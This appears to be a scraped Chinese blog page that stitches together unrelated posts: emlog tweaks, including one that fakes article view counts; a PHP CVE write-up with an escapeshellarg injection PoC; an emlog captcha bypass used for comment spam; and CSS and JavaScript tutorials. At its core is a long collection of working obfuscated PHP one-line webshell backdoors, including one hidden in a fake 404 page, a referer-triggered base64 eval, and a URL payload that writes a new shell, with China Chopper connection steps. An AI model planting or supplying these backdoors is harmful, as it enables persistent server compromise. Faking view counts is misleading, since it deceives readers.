如题:想装逼?提升逼格?自慰?戳进来-Mrxn教你让文章浏览数随机增加

之前在论坛看过这种帖子,还有人求助...

看了一下各位给出的答案就是夹固定的数量.我想这么装逼不是很爽,不舒服呀.别人一看就知道了.你每次刷新网页增加的都是一样的.-_-|

今天我看自己也前的文章的时候发现了这篇文章:让emlog侧边栏显示彩色标签,随机显示标签,数量多少有你控制

于是就想到了这个.rand()php随机函数  于是就有了如下的装逼姿势:

/**
     * 增加阅读次数
     *
     * @param int $blogId
     */
    function updateViewCount($blogId) {
        $vnum=rand(1,7);
        $this->db->query("UPDATE " . DB_PREFIX . "blog SET views=views+'$vnum' WHERE gid=$blogId");
    }

友情提示:装逼有风险.请自行买保险!

这样修改了 include/mode/log_model.php 的第 302行 后,装逼姿势就优雅多了,有木有,rand(1,7)可以自己随便修改的.

总地来说.就装逼,然并卵!自慰吧.骚年!   Mrxn writed 2015/07/20

Mrxn教你让emlog自动实时提交至百度收录-SEO利器,站长们必看

本文为Mrxn's Blog https://mrxn.net原创 转载请著名出处和链接,谢谢合作,互相尊重.

判断内容页是否百度收录,并且以博主和或者理员身份访问博客文章时自动向百度提交未收录的文章,后期会加如其他搜索引擎的自动提交功能.请关注Mrxn's Blog https://mrxn.net Email:admin#mrxn.net

下面我来教大家如何实现上述操作:

我们在modul.php底部加上如下代码

<?php
//判断内容页是否百度收录,并且以博主和或者理员身份访问博客文章时自动向百度提交未收录的文章,后期会加如其他搜索引擎的自动提交功能.请关注Mrxn's Blog https://mrxn.net Email:admin#mrxn.net
function baidu($url){
 $url='http://www.baidu.com/s?wd='.$url;
 $curl=curl_init();
 curl_setopt($curl,CURLOPT_URL,$url);
 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 $rs=curl_exec($curl);
 curl_close($curl);
 if(!strpos($rs,'没有找到')){
     return 1;
   }
 else{
     return 0;
  }   
     }
  function checkbaidu($id){
  $url=Url::log($id);
  if(baidu($url)==1){
   echo "百度已收录";
  } else {
   if (ROLE == 'admin' || ROLE == 'writer') {
    $urls = array(
      $url,
  );
  $api = 'http://data.zz.baidu.com/urls?site=mrxn.net&token=你自己的token值';
  $ch = curl_init();
  $options =  array(
     CURLOPT_URL => $api,
     CURLOPT_POST => true,
     CURLOPT_RETURNTRANSFER => true,
     CURLOPT_POSTFIELDS => implode("\n", $urls),
     CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),);
  curl_setopt_array($ch, $options);
  $result = curl_exec($ch);
  echo 'success';
   }
     echo "<a style=\"color:red;\" rel=\"external nofollow\" title=\"点击提交收录！\" target=\"_blank\" href=\"http://zhanzhang.baidu.com/sitesubmit/index?sitename=$url\">已自动提交度娘等待收录</a>";
  }
 }
?>

(文章结尾有代码下载)然后在文章内容页引用即可,具体方法,不会的朋友请前往这里查看:传送门-点我

需要注意的其一:

$api = 'http://data.zz.baidu.com/urls?site=mrxn.net&token=你自己的token值';

$api 中的token值请换成你自己的token,获取方法:前往百度站长平台获取:http://zhanzhang.baidu.com/linksubmit/index

需要注意的其二,我把百度官方的函数做了一个小小的修改,将

$result = curl_exec($ch); echo $result;修改成了:$result = curl_exec($ch);echo 'success';

因为不修改的话就会出现这种情况:

返回值...很碍眼和排版,当然觉得没啥的可以改回去.修改后的效果:

是不是好看多了 -_- || 个人觉得....

至于是不是真的成功了.请往下看:

上图显示的是我博客每天的提交量(配额)上限:50 ,PS: 这个配额其实就是百度分配给每个网站的提交上限,超过这个数量,即使你提交了,度娘也是不要你的....555

她这个配额是根据你网站的每天访问量,活跃度,PR值.等等综合因数决定的,具体的请自行去度娘那里慢慢查看.我就不细说了.

我打开两个我最近刚刚写的文章(估计度娘未收录的):

图一

图二

图三

在查看我的工具显示剩余配额还有多少.即验证是否成功提交了一次:

从图中我们可以看到剩余配额已近减少了两次.OK 至此,我们的方法成功了.以后我们写完一篇文章在查看一下,是不是就自动完成了SEO任务之一了呢?

当然,百度已近收录的就会显示如下效果:

各位看官,看完了还不赶紧去试试.让你的收录飞速提升!!!  看完了是不是应该评论评论吐槽吐槽呢?

注意:刷流量的孩子,在操作的时候就别登录后台了.不然可能优化过度,出现不良反应哦.

本文为Mrxn's Blog https://mrxn.net原创 转载请著名出处和链接,谢谢合作,互相尊重.

判断内容页是否百度收录,并且以博主和或者理员身份访问博客文章时自动向百度提交未收录的文章,后期会加如其他搜索引擎的自动提交功能.请关注Mrxn's Blog https://mrxn.net Email:admin#mrxn.net

源代码下载:baidu-seo.zip

Mrxn分享emlog技巧之---让emlog文章中显示中文星期几的方法,先上效果图,就像本博客微语公告一样的效果:

先介绍几种将php中星期几以中文方式显示的方法:

<?php
function get_chinese_weekday($datetime)
{
    $weekday = date('w', strtotime($datetime));
    return '星期' . ['日', '一', '二', '三', '四', '五', '六'][$weekday];
}
?>

以上是PHP>=5.4版本的.

<?php
function get_chinese_weekday($datetime)
{
    $weekday  = date('w', strtotime($datetime));
    $weeklist = array('日', '一', '二', '三', '四', '五', '六');
    return '星期' . $weeklist[$weekday];
}
?>

以上是PHP<5.4版本的.

Debain / Ubuntu 若有安裝 php5-intl 的套件, 可以使用 IntlDateFormatter 来写 (PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

下面介绍在emlog中具体实现方法:

以默认模版为例在log_list.php找到:

<?php echo gmdate('Y-n-j', $value['date']); ?>

替换为:

<?php $weekarray=array("日","一","二","三","四","五","六");echo gmdate('Y年n月j日 G:i', $value['date']);echo" 星期".$weekarray[gmdate('w', $value['date'])];?>

如果是内容页请使用下面代码，以默认模版为例在echo_log.php找到

<?php echo gmdate('Y-n-j', $date); ?>

替换为:

<?php $weekarray=array("日","一","二","三","四","五","六");echo gmdate('Y年n月j日 G:i', $date);echo " 星期".$weekarray[gmdate('w',$date)];?>

研究人员在近期发现php三个漏洞。这三个漏洞分别是:os命令注入漏洞、在堆里面的整型溢出漏洞，还有个本地段错误漏洞。第一个是新漏洞，后两个是由于补丁修补不全重新导致的漏洞。

首先让我们来看第一个漏洞：OS command injection vulnerability in escapeshellarg[CVE-2015-4642.]

顾名思义，第一个漏洞是一个函数命令注入漏洞。

贴上poc：

poc.php

1 2 3 4 5 6 7

<?php  $a = 'a\\';  $b = 'b -c d\\';  var_dump( $a, escapeshellarg($a) );  var_dump( $b, escapeshellarg($b) );  system( 'php arginfo.php ' . escapeshellarg($a) . ' ' . escapeshellarg($b) ) ?>

1 2 3 4

<?php       print( "--- ARG INFO ---\n" );        var_dump( $argv );    ?>

arginfo.php

根据poc，我们发现是一个escapeshellarg()函数命令注入漏洞。

图1：

根据我的本地测试以及作者告诉我们如果输出图1中的内容，则表示你的php版本存在该漏洞。

图2：

若是图2则表示漏洞已经修复。

输出output如下：

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

string(2) "a\" string(4) ""a\"" string(7) "b -c d\" string(9) ""b -c d\"" --- ARG INFO --- array(4) {  [0]=>  string(11) "arginfo.php"  [1]=>  string(4) "a" b"  [2]=>  string(2) "-c"  [3]=>   string(2) "d"" }

根据poc作者的解释：

前4行输出的结果是poc.php中var_dump函数的功能。通过比较输出结果与poc.php中第4、5两行，从escapeshellarg函数的输出结果可以看出攻击者可以设置一个字符串，而不是绕过一个参数。

同样，第10行在arginfo.php，这是通过var_dump输出的。通过比较，我们发现系统函数被调用在poc.php的时候是两个参数的，但是在命令行解释的时候是3个参数的。

根据https://git.php.net/?p=php-src.git;a=commitdiff;h=d2ac264ffea5ca2e85640b6736e0c7cd4ee9a4a9发布的补丁信息，我们发现他们过滤了。

通过我们实验室的小伙伴的测试，作者给的poc只有PHP 5.6.9版本受影响，另外测试的PHP 5.4.41不受影响。

接下来是第二个漏洞：PHP 5.6.9 Integer overflow in ftp_genlist() resulting in heap overflow [CVE-2015-4643]

根据Max Spelsberg的邮件内容，我们知道在recv loop，size 可以被递增两处。一个在‘size+=rcvd’，另一个在‘size++’。这意味着size可以递增超过rcvd的每次迭代，从而使溢出检查能够被绕过。

Size能够递增最多rcvd*2次迭代，这就是为什么我曾建议修复rcvd*2，而不仅仅是rcvd。

为了正确的修复这个bug，我建议除了溢出检查以外，还需要排除其他原因导致size通过rcvd增加，或者通过迭代。从而保证溢出检查不被绕过。

值得注意的是，并不是因为分支功能不是必要的，就没必要使其复杂化。

另外我们通过，http://git.php.net/?p=php-src.git;a=commitdiff;h=0765623d6991b62ffcd93ddb6be8a5203a2fa7e2补丁对比 ，

发现对size进行了处理。

最后，让我们来看第三个漏洞：segfault in php_pgsql_meta_data

根据官方bug详情，用一段特殊的php代码，可以引起一个段错误在php_pgsql_meta_data。

1	pg_insert($conn, '.',  array('foo' => 'bar')

这是因为#68741的不完全修复导致的。

Strok_r的返回值不在php_pgsql_meta_data检查导致的一个本地段错误。

详细补丁可通过https://git.php.net/?p=php-src.git;a=commitdiff;h=2cc4e69cc6d8dbc4b3568ad3dd583324a7c11d64查看比较。

综上所述，前两个漏洞要想利用，给看远程的PHP代码是怎么写的，才能触发，而且都是针对PHP 5.6.9这个版本的。最后一个是本地的漏洞，实际攻击用处不大。

 最近博客常常被人刷评论，最狠的一次被刷了10000多广告。

    先看看评论验证码是怎么检查的。

    emlog/include/controller/comment_controller.php，先获得$imgcode：

<pre style="overflow:auto" ;class="prettyprint lang-php linenums">$imgcode = isset($_POST['imgcode']) ? addslashes(trim(strtoupper($_POST['imgcode']))) : '';

  检查：

<pre style="overflow:auto" ;class="prettyprint lang-php linenums">} elseif (ISLOGIN == false && Option::get('comment_code') == 'y' && session_start() && $imgcode != $_SESSION['code']) {
emMsg('评论失败：验证码错误');
}

上述代码，几个判断依次是：

1. 没有登录（非管理员和作者）
2. 后台开启了评论验证码
3. 开启session
4. 将session中的code与$imgcode比较，不相等则验证码错误

    第4步明显有问题。熟悉php验证码流程的同学应该清楚，验证码生成的时候将会设置一个session，这里就是code，再和POST过来的也就是用户输入的做比较。

    然而如果我们并没有访问验证码生成页面，那么也就没生成session。那么$_SESSION['code']就是NULL。

    php中==是弱类型比较，NULL和''（空字符串）比较的结果是TRUE的。

    所以这里，我们的$imgcode如果输入一个空值，并且不去访问生成验证码的页面，那么这个$imgcode != $_SESSION['code']就不成立，就不会提示验证码错误，从而绕过了验证码检查逻辑。

    所以，我这里做测试。

    先正常留言，填写验证码，中途抓包：

    

    将PHPSESSID修改成随意一个值，目的是让其$_SESSION不存在。再将imgcode修改成空：

    

    发送数据包，可见没有提示失败（302跳转了），说明评论成功：

    

    载入一个字典，即可刷评论：

    

    

    修复方法是判断session是否为空：

<pre style="overflow:auto" ;class="prettyprint lang-php linenums">empty($_SESSION['code']) || $_SESSION['code'] != $imgcode

  不满足这个条件即提示错误。

    另外的方法是和我博客一样，使用第三方验证码，简洁又方便:极验

还有就是像我博客这样,增加一个打勾的措施也可以在一定程度上防止机器人刷评论.

注:  这只是对开了验证码的有效,没有开验证码想我博客这样的可以不修改.

原文地址:https://www.leavesongs.com/PENETRATION/emlog-comment-captcha-bypass.html

什么是XAMPP？

XAMPP是最流行的PHP开发环境

XAMPP是完全免费且易于安装的Apache发行版，其中包含MySQL、PHP和Perl。XAMPP开放源码包的设置让安装和使用出奇容易。

同时也是跨平台的,支持Windows,apple OS ,Linux三大平台.

v5.5.24/ v5.6.8 升级说明

更新PHP至5.5.24/5.6.8
最新的MySQL5.6.24到
更新的phpMyAdmin4.4.3
更新的OpenSSL到1.0.1m（OS X和Linux）
更新XAMPP欢迎页面（测试版）
修复字符集管理页面
新增OS X操作指南
PostgreSQL的PHP扩展启用SSL支持
新增PHP XMLRPC扩展
新增PHP扩展MSSQL

官方下载址:https://www.apachefriends.org/zh_cn/download.html

JavaScript获取网页高度宽度

    JavaScript获取网页高度宽度 

function getScrollTop()
 {
 var scrollTop=0;
 if(document.documentElement&&document.documentElement.scrollTop)
 {
 scrollTop=document.documentElement.scrollTop;
 }
 else if(document.body)
 {
 scrollTop=document.body.scrollTop;
 }
 return scrollTop;
 }

 /********************
 * 取窗口可视范围的高度 
*******************/
function getClientHeight()
 {
 var clientHeight=0;
 if(document.body.clientHeight&&document.documentElement.clientHeight)
 {
 var clientHeight = (document.body.clientHeight<document.documentElement.clientHeight)?docum
 ent.body.clientHeight:document.documentElement.clientHeight; 
}
 else
 {
 var clientHeight = (document.body.clientHeight>document.documentElement.clientHeight)?docum
 ent.body.clientHeight:document.documentElement.clientHeight; 
}
 return clientHeight;
 }

 /********************
 * 取文档内容实际高度 
*******************/
function getScrollHeight()
 {
 return Math.max(document.body.scrollHeight,document.documentElement.scrollHeight);
 }

我们以一个学习的心态来对待这些PHP后门程序，很多PHP后门代码让我们看到程序员们是多么的用心良苦。

强悍的PHP一句话后门

这类后门让网站、服务器管理员很是头疼，经常要换着方法进行各种检测，而很多新出现的编写技术，用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。

利用404页面隐藏PHP小马：

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

404页面是网站常用的文件，一般建议好后很少有人会去对它进行检查修改，这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话：

    <?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
?>

将$_POST['code']的内容赋值给$_SESSION['theCode']，然后执行$_SESSION['theCode']，亮点是没有特征码。用扫描工具来检查代码的话，是不会报警的，达到目的了。

超级隐蔽的PHP后门：

    <?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了木马；

利用方法：

    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 

执行后当前目录生成c.php一句话木马，当传参a为eval时会报错木马生成失败，为assert时同样报错，但会生成木马，真可谓不可小视，简简单单的一句话，被延伸到这般应用。

层级请求，编码运行PHP后门：
此方法用两个文件实现，文件1

    <?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10'&& count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
?>

文件2

    <?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code= <<<CODE
phpinfo();
CODE;
//进行base64编码
$code= base64_encode($code);
//构造referer字符串
$referer= "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url= 'http://localhost/test1/1.php';
$ch= curl_init();
$options= array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echocurl_exec($ch);
?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码，来达到后门的效果，一般waf对referer这些检测要松一点，或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件，可用于模拟一个类 似于telnet的连接shell，weevely通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web 页面式的管理，weevely生成的服务器端php代码是经过了base64编码的，所以可以骗过主流的杀毒软件和IDS，上传服务器端代码后通常可以通 过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密 结合字符串变形技术，后门中所使用的函数均是常用的字符串处理函数，被作为检查规则的eval，system等函数都不会直接出现在代码中，从而可以致使 后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描，结果显示该文件无任何威胁。

以上是大概介绍，相关使用方法亦家就不在这介绍了，简单的科普一下。

三个变形的一句话PHP木马
第一个

    <?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/1.php?2=assert密码是1

第二个

    <?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽，或者用其它注射工具也可以，因为是post提交的。

第三个

    ($b4dboy= $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

str_rot13(‘riny’)即编码后的eval，完全避开了关键字，又不失效果，让人吐血！

最后列几个高级的PHP一句话木马后门：

    1、
$hh= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include($filename);
//危险的include函数，直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include($uid);
//危险的include函数，直接编译任何文件为php格式运行，POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话

综上，这些PHP一句话后门可谓五脏俱全，一不小心您肯定中招了，而我们今天这篇文章的重中之重在哪呢？重点就在下边的总结!

如何应对PHP一句话后门：

我们强调几个关键点，看这文章的你相信不是门外汉，我也就不啰嗦了：

    1，对PHP程序编写要有安全意识2，服务器日志文件要经常看，经常备份3，对每个站点进行严格的权限分配4，对动态文件及目录经常批量安全审查5，学会如何进行手工杀毒《即行为判断查杀》6，时刻关注，或渗入活跃的网络安全营地7，对服务器环境层级化处理，哪怕一个函数也可做规则 

我们认为当管理的站点多了，数据量大时，我们应合理应用一些辅助工具，但不应完全依赖这些工具，技术是时刻在更新进步的，最为重要的是你应学会和理解，编写这些强悍后门的人所处思维，角色上的换位可为你带来更大的进步。

一：CSS的工作原理

1.基本的CSS语法

比方说，我们要用红色作为网页的背景色：

用HTML的话，我们可以这样：

<body bgcolor="#FF0000">

用CSS的话，我们可以这样获得同样的效果：

body {background-color: #FF0000;}

上例也向你展示了基本的CSS模型：

为HTML文档应用CSS，有三种方法可供选择。下面对这三种方法进行了概括。我们建议你对第三种方法（即外部样式表）予以关注。

方法1：行内样式表（style属性）

为HTML应用CSS的一种方法是使用HTML属性style。我们在上例的基础之上，通过行内样式表将页面背景设为红色：

<body style="background-color: #FF0000;">

方法2：内部样式表（style元素）

为HTML应用CSS的另一种方法是采用HTML元素style。比如像这样：

<style type="text/css">

body {background-color: #FF0000;}

</style>

方法3：外部样式表（引用一个样式表文件）

我们推荐采用这种引用外部样式表的方法。外部样式表就是一个扩展名为css的文本文件。跟其他文件一样，你可以把样式表文件放在Web服务器上或者本地硬盘上。

导入语法：

<link rel="stylesheet" type="text/css" href="style/style.css" />

注意要在href属性里给出样式表文件的地址。

这行代码必须被插入HTML代码的头部（header），即放在标签<head>和标签</head>之间。就像这样：

<html>

<head>

<title>我的文档</title>

<link rel="stylesheet" type="text/css" href="style/style.css" />

</head>

<body>

...

这个链接告诉浏览器：在显示该HTML文件时，应使用给出的CSS文件进行布局。
这种方法的优越之处在于：多个HTML文档可以同时引用一个样式表。换句话说，可以用一个CSS文件来控制多个HTML文档的布局。

这一方法可以令你省去许多工作。例如，假设你要修改某网站的所有网页（比方说有100个网页）的背景颜色，采用外部样式表可以避免你手工一一修改这100个HTML文档的工作。采用外部样式表，这样的修改只需几秒钟即可搞定——修改外部样式表文件里的代码即可。

然后，把这两个文件放在同一目录下。记得在保存文件时使用正确的扩展名（分别为“htm”和“css”）。

二：颜色与背景

前台页面背景和颜色主要包括下面内容：

· color

· background-color

· background-image

· background-repeat

· background-attachment

· background-position

· background

前景色：‘color’属性

CSS属性color用于指定元素的前景色。

例如，假设你要让页面中的所有标题（headline）都显示为深红色，而这些标题采用的都是h1元素，那么可以用下面的代码来实现把h1元素的前景色设为红色。

h1 {

color: #ff0000;

}

CSS属性background-color用于指定元素的背景色。

因为body元素包含了HTML文档的所有内容，所以，如果要改变整个页面的背景色的话，那么为body元素应用background-color属性就行了。

你也可以为其他包含标题或文本的元素单独应用背景色。在下例中，我们为body和h1元素分别应用了不同的背景色。

body {

background-color: #FFCC66;

}

h1 {

color: #990000;

background-color: #FC9804;

}

注意：我们为h1元素应用了两个CSS属性，它们之间以分号（“;”）分隔。

CSS属性background-image用于设置背景图像。

如果要把这个蝴蝶的图片作为网页的背景图像，只要在body元素上应用background-image属性、然后给出蝴蝶图片的存放位置就行了。

body {

background-color: #FFCC66;

background-image: url("butterfly.gif");

}

h1 {

color: #990000;

background-color: #FC9804;

}

注意我们指定图片存放位置的方 式：url("butterfly.gif")。这表明图片文件和样式表存放在同一目录下。你也可以引用存放在其他目录的图片，只需给出存放路径即可（比 如url("../images/butterfly.gif")）；此外，你甚至可以通过给出图片的地址来引用因特网（Internet）上的图片（比如url("http://www.html.net/butterfly.gif")）。

平铺背景图像[background-repeat]

下表概括了background-repeat的四种不同取值。

值	描述	示例
background-repeat:repeat-x	图像横向平铺	显示示例
background-repeat:repeat-y	图像纵向平铺	显示示例
background-repeat:repeat	图像横向和纵向都平铺	显示示例
background-repeat:no-repeat	图像不平铺	显示示例

例如，为了避免平铺背景图像，代码应该这样：

body {

background-image: url("butterfly.gif");

background-repeat: no-repeat; }

固定背景图像[background-attachment]

CSS属性background-attachment用于指定背景图像是固定在屏幕上的、还是随着它所在的元素而滚动的。

一个固定的背景图像不会随着用户滚动页面而发生滚动（它是固定在屏幕上的），而一个非固定的背景图像会随着页面的滚动而滚动。

下表概括了background-attachment的两种不同取值。你可以点击示例察看二者的区别。

值	描述	示例
background-attachment:scroll	图像会跟随页面滚动——非固定的	显示示例
background-attachment:fixed	图像是固定在屏幕上的	显示示例

例如，下面的代码将背景图像固定在屏幕上。

body {

background-image: url("butterfly.gif");

background-repeat: no-repeat;

background-attachment: fixed;

}

放置背景图像[background-position]

缺省地，背景图像将被放在屏幕的左上角。但是，你可以通过CSS属性background-position来修改这一缺省设置，将背景图像摆放在屏幕上你觉得满意的地方。

设置background-position属性的值有多种方式。不过，它们都是坐标的格式。举例来说，值“100px 200px”表示背景图像将被放置在位于距浏览器窗口左边100像素、顶部200像素处。

坐标可以是以百分比或固定单位（比如像素、厘米等）作为单位的值，也可以是“top”、“bottom”、“center”、“left”和“right”这些值。
下表给出了一些例子。

值	描述	示例
background-position:2cm 2cm	图像被放置在页面内距左边2厘米、顶部2厘米的地方	显示示例
background-position:50% 25%	图像被放置在页面内水平居中、离顶部四分之一处	显示示例
background-position:top right	图像被放置在页面的右上角	显示示例

在下例中，背景图像被放置在页面的右下角：

body {

background-image: url("butterfly.gif");

background-repeat: no-repeat;

background-attachment: fixed;

background-position: right bottom;

}

缩写[background]

CSS属性background是上述所有与背景有关的属性的缩写用法。

使用background属性可以减少属性的数目，因此令样式表更简短易读。

比如说下面五行代码：

background-color: #FFCC66;

background-image: url("butterfly.gif");

background-repeat: no-repeat;

background-attachment: fixed;

background-position: right bottom;

如果使用background属性的话，实现同样的效果只需一行代码即可搞定：

background: #FFCC66 url("butterfly.gif") no-repeat fixed right bottom;

各个值应按下列次序来写：

[background-color] | [background-image] | [background-repeat] | [background-attachment] | [background-position]

如果省略某个属性不写出来，那么将自动为它取缺省值。比如，如果去掉background-attachment和background-position的话：

background: #FFCC66 url("butterfly.gif") no-repeat;

这两个未指定值的属性将被设置为缺省值：scroll和top left。

三：字体

CSS字体属性主要包括下面几个：

font-family，font-style，font-variant，font-weight，font-size

，font

字体族[font-family]

CSS属性font-family的作用是设置一组按优先级排序的字体列表，如果该列表中的第一个字体未在访问者计算机上安装，那么就尝试列表中的下一个字体，依此类推，直到列表中的某个字体是已安装的。

有两种类型的名称可用于分类字体：字体族名称（family-name）和族类名称（generic family）。下面来解释这两个术语。

字体族名称（就是我们通常所说的“字体”）的例子包括“Arial”、“Times New Roman”、“宋体”、“黑体”等等。

一个族类是一组具有统一外观的字体族。sans-serif就是一例，它代表一组没有“脚”的字体。

你在给出字体列表时，自然应把首选字体放在前面、把候选字体放在后面。建议你在列表的最后给出一个族类（generic family），这样，当没有一个指定字体可用时，页面至少可以采用一个相同族类的字体来显示。

下面是一个按优先级排列的字体列表的例子：

h1 {font-family: arial, verdana, sans-serif;}

h2 {font-family: "Times New Roman", serif;}

h1标题将采用Arial字体显示。如果访问者的计算机未安装Arial，那么就使用Verdana字体。假如Verdana字体也没安装的话，那么将采用一个属于sans-serif族类的字体来显示这个h1标题。

注意我们为“Times New Roman”采用的写法：因为其中包含空格，所以我们用引号将它括起来。

字体样式[font-style]

CSS属性font-style定义所选字体的显示样式：normal（正常）、italic（斜体）或oblique（倾斜）。在下例中，所有h2标题都将显示为斜体。

h2 {font-family: "Times New Roman", serif; font-style: italic;}

字体变化[font-variant]

CSS属性font-variant的值可以是：normal（正常）或small-caps（小体大写字母）。small-caps字体是一种以小尺寸显示的大写字母来代替小写字母的字体。不太明白？我们来看几个例子：

如果font-variant属性被设置为small-caps，而没有可用的支持小体大写字母的字体，那么浏览器多半会将文字显示为正常尺寸（而不是小尺寸）的大写字母。

h1 {font-variant: small-caps;}

h2 {font-variant: normal;}

字体浓淡[font-weight]

CSS属性font-weight指定字体显示的浓淡程度。其值可以是normal（正常）或bold（加粗）。有些浏览器甚至支持采用100到900之间的数字（以百为单位）来衡量字体的浓淡。

p {font-family: arial, verdana, sans-serif;}

td {font-family: arial, verdana, sans-serif; font-weight: bold;}

字体大小[font-size]

字体的大小用CSS属性font-size来设置。

字体大小可通过多种不同单位（比如像素或百分比等）来设置。在本教程中，我们将关注于最常用和最合适的单位。比如：

h1 {font-size: 30px;}

h2 {font-size: 12pt;}

h3 {font-size: 120%;}

p {font-size: 1em;}

上面四种单位有着本质的区别。‘px’和‘pt’将字体设置为固定大小，而‘%’和‘em’允许页面浏览者自行调整字体的显示尺寸

缩写[font]

CSS属性font是上述各有关字体的CSS属性的缩写用法。

比如说下面四行应用于p元素的代码：

p {

font-style: italic;

font-weight: bold;

font-size: 30px;

font-family: arial, sans-serif;

}

如果用font属性的话，上述四行代码可简化为：

p {font: italic bold 30px arial, sans-serif; }

font属性的值应按以下次序书写：

font-style | font-variant | font-weight | font-size | font-family

四：文本

文本主要包括下列CSS属性：

text-indent.,text-align,text-decoration,letter-spacing.

text-transform

文本缩进[text-indent]

CSS属性text-indent用于为段落设置首行缩进，以令其具有美观的格式。在下例中，我们为采用p元素的段落应用了30像素的首行缩进。

p {text-indent: 30px;}

文本对齐[text-align]

CSS属性text-align与HTML属性align的功能相同。该属性的值可以是：left（左对齐）、right（右对齐）或者center（居中）。除了上面三种选择以外，你还可以将该属性的值设为justify（两端对齐），即伸缩行中的文字以左右靠齐。报刊杂志经常采用这种布局。

在下例中，标题（th）中的文字被设置为右对齐，而表中数据（td） 被设置为居中。正常的文本段落被设置为两端对齐。

th {text-align: right;}

td {text-align: center;}

p {text-align: justify; }

文本装饰[text-decoration]

CSS属性text-decoration令我们可以为文本增添不同的“装饰”或“效果”。例如，你可以为文本增添下划线、删除线、上划线等等。在接下来的例子中，我们为h1标题增添了下划线，为h2标题增添了上划线，为h3标题增添了删除线。

h1 {text-decoration: underline;}

h2 {text-decoration: overline;}

h3 {text-decoration: line-through;}

字符间距[letter-spacing]

CSS属性letter-spacing用于设置文本的水平字间距。我们可以把期望的字间距宽度作为这个属性的值。例如，假如你希望p元素里的文本段落的字间距为3个像素，而h1标题的字间距为6个像素，代码可以这样写：

h1 {letter-spacing: 6px; }

p {letter-spacing: 3px;}

文本转换[text-transform]

CSS属性text-transform用于控制文本的大小写。无论字母本来的大小写，你可以通过该属性令它首字母大写（capitalize）、全部大写（uppercase）或者全部小写（lowercase）。

比如，单词“headline”在展现给网页浏览者时，可以是“HEADLINE”或者“Headline”。

text-transform属性有四个可选值：

capitalize将每个单词的首字母转换为大写。

uppercase所有字母都转换为大写。

lowercase所有字母都转换为小写

none不作任何转换——文本怎么写的就怎么显示。

五：链接

在前面讲到的属性也可以应用到链接上（比如修改颜色、字体、添加下划线等）。但不同的是，CSS允许你根据链接是未访问的、已访问的、活动的、是否有鼠标悬停等分别定义不同的属性。这样，我们便可为网站增添奇特而有用的效果。你需要通过伪类（pseudo-class）来控制这些效果。

伪类是什么？

伪类（pseudo-class）令你可以在为HTML元素定义CSS属性的时候将条件和事件考虑在内。

我们来看一个例子。正如你所知道的，在HTML里，链接是通过a元素来定义的。因此，在CSS里，我们可以将a作为一个选择器

a {color: blue;}

一个链接可以有不同的状态。例如，它可以是已访问过的，也可以是未访问过的。你可以通过伪类分别为访问过的链接和未访问过的链接设置不同的样式。

a:link {color: blue;}

a:visited {color: red;}

为未访问过的链接和已访问过的链接分别使用伪类a:link和a:visited。活动的链接对应的伪类为a:active，有鼠标悬停的链接对应的伪类为a:hover。

伪类： active

伪类:active用于活动的链接（即获得当前焦点的链接）。

a:active {background-color: #FFFF00;}

